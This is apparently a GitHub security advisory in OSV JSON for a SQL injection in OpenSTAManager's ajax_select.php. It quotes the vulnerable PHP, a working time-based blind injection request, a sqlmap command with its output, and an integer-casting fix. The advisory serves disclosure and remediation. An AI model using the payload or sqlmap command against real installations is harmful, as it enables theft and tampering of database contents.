{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:04:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/impianti/ajax/select.php:122-124`\n\n```php\ncase \u0027componenti\u0027:\n    $impianti = $superselect[\u0027matricola\u0027];\n    if (!empty($impianti)) {\n        $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n    }\n```\n\n### Data Flow\n1. **Source:** `$_GET[\u0027options\u0027][\u0027matricola\u0027]` \u2192 `$superselect[\u0027matricola\u0027]`\n2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization\n3. **Sink:** Query executed via AJAX framework\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_select.php?op=componenti\u0026options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=\u003cvalid-session\u003e\n```\n\u003cimg width=\"1306\" height=\"581\" alt=\"image\" src=\"https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011\" /\u003e\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \u0027http://localhost:8081/ajax_select.php?op=componenti\u0026options[matricola]=1*\u0027 \\\n  --cookie=\"PHPSESSID=\u003csession\u003e\" \\\n  --dbms=MySQL \\\n  --technique=T \\\n  --level=3 \\\n  --risk=3\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter \u0027#1*\u0027 appears to be \u0027MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\u0027 injectable\nParameter: #1* (URI)\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI\nback-end DBMS: MySQL \u003e= 5.0.12\n```\n\u003cimg width=\"1228\" height=\"801\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b\" /\u003e\n\n## Impact\n- **Data Exfiltration:** Time-based blind SQL Injection allows complete database extraction\n- **Authentication Bypass:** Access to sensitive component and equipment data\n- **Data Manipulation:** Potential unauthorized modification of records\n\n## Remediation\n\nCast values to integers before using in SQL:\n\n**Before:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n    $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n}\n```\n\n**After:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n    $ids = array_map(\u0027intval\u0027, explode(\u0027,\u0027, $impianti));\n    $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.implode(\u0027,\u0027, $ids).\u0027)\u0027;\n}\n```\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
  "id": "GHSA-qjv8-63xq-gq8m",
  "modified": "2026-02-06T18:04:32Z",
  "published": "2026-02-06T18:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)"
}